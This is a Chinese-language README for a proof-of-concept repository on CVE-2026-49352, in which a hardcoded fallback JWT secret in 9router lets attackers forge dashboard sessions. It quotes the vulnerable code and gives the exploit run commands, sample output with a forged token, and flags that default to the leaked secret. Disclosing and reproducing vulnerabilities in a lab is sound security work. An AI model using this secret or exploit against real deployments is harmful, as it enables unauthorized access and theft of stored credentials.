CVE-2026-49352 是 9router 中的一个漏洞,9router 是一个用于 AI 编码工具的自托管 Node.js/Next.js 代理。仪表盘会话 JWT 使用来自 JWT_SECRET 环境变量的密钥进行签名,但如果该变量未设置,登录处理器和请求守卫都会回退到同一个硬编码字符串:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
由于该字符串被提交到了公共仓库,它根本称不上秘密。任何攻击者都可以使用它来签发令牌,并被当作已认证的仪表盘用户。
| 受影响范围 | 修复于 |
|---|---|
| 0.2.21 – 0.4.41 | 0.4.45 |
回退密钥在两个相互独立的文件中以完全相同的方式定义。
src/app/api/auth/login/route.js — 在登录时签发会话令牌:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
const token = await new SignJWT({ authenticated: true })
.setProtectedHeader({ alg: "HS256" })
.setExpirationTime("24h")
.sign(SECRET);
src/dashboardGuard.js — 在每个受保护请求上验证令牌:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
async function hasValidToken(request) {
const token = request.cookies.get("auth_token")?.value;
if (!token) return false;
try {
await jwtVerify(token, SECRET);
return true;
} catch {
return false;
}
}
hasValidToken() 成功是授予对 /dashboard 以及 ALWAYS_PROTECTED 中列出的端点(包括 /api/settings/database)访问权限之前检查的唯一条件。不存在对会话记录的查询,也不存在对令牌来源的验证——有效的签名即被视为身份证明。
该绕过已在受影响代码库的构建版本上得到确认且可复现。当 JWT_SECRET 未设置时:
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed
[3] Probing /api/settings/database for exposed credentials...
[+] /api/settings/database returned 200
仅当运维人员从未设置 JWT_SECRET 时,该漏洞才会被触发——这是大多数跳过环境配置步骤的快速启动 / docker-run 部署的默认情况。显式将 JWT_SECRET 设置为随机值的部署不受影响,因为 SECRET 在模块加载时仅派生一次,且不会回退。
cve-2026-49352-poc/
├── dockerfile # 9router built from source, pinned to v0.4.30 (affected)
├── podman-compose.yml # build + run, JWT_SECRET intentionally omitted
└── exploit/
├── go.mod # requires github.com/golang-jwt/jwt/v5
└── exploit.go # PoC — Go
| 工具 | 版本 | 说明 |
|---|---|---|
| Podman | ≥ 4.0 | 需要 podman-compose |
| Go | ≥ 1.22 | 用于在本地运行漏洞利用 |
外部 Go 依赖:github.com/golang-jwt/jwt/v5。
podman-compose build
podman-compose up -d
等待应用报告就绪,然后验证:
curl -si http://localhost:20128/dashboard | head -1
# Expected: HTTP/1.1 307 (redirect to /login, no session yet)
cd exploit
go run exploit.go -target http://localhost:20128
添加 -probe 参数,以使用伪造的 cookie 同时请求 /api/settings/database:
go run exploit.go -target http://localhost:20128 -probe
可用参数:
podman-compose down -v
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJleHAiOjI5MTgzNjMwMTksImlhdCI6MTc4MzA2NzAxOX0.yYdNxS-nYuxv609j1w7juimNVM1RROAfVRjZyt6TU3M
[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed against http://localhost:20128
[3] Probing /api/settings/database for exposed credentials (per advisory attack scenario)...
[+] /api/settings/database returned 200
{"settings":{},"providerConnections":[],"providerNodes":[],"proxyPools":[],"apiKeys":[],"combos":[],"modelAliases":{},"customModels":[],"mitmAlias":{},"pricing":{}}
| 资源 | 链接 |
|---|---|
| 安全公告 | GHSA-jphh-m39h-6gwx |
| 受影响仓库 | decolua/9router |
| 完整分析 — 博客文章 | return-zero.dev/posts/cve-2026-49352 |
本仓库仅用于教育目的和本地可利用性分析。所有测试均针对自托管容器环境进行。请勿对您不拥有或未经明确书面授权测试的系统运行此 PoC。
| 标志 | 默认值 | 说明 |
|---|
-target | http://localhost:20128 | 9router 实例的基础 URL |
-secret | 9router-default-secret-change-me | 用于伪造的 JWT 回退密钥 |
-ttl | 36 * 365 * 24h | 伪造令牌的有效期窗口 |
-probe | false | 同时请求 /api/settings/database |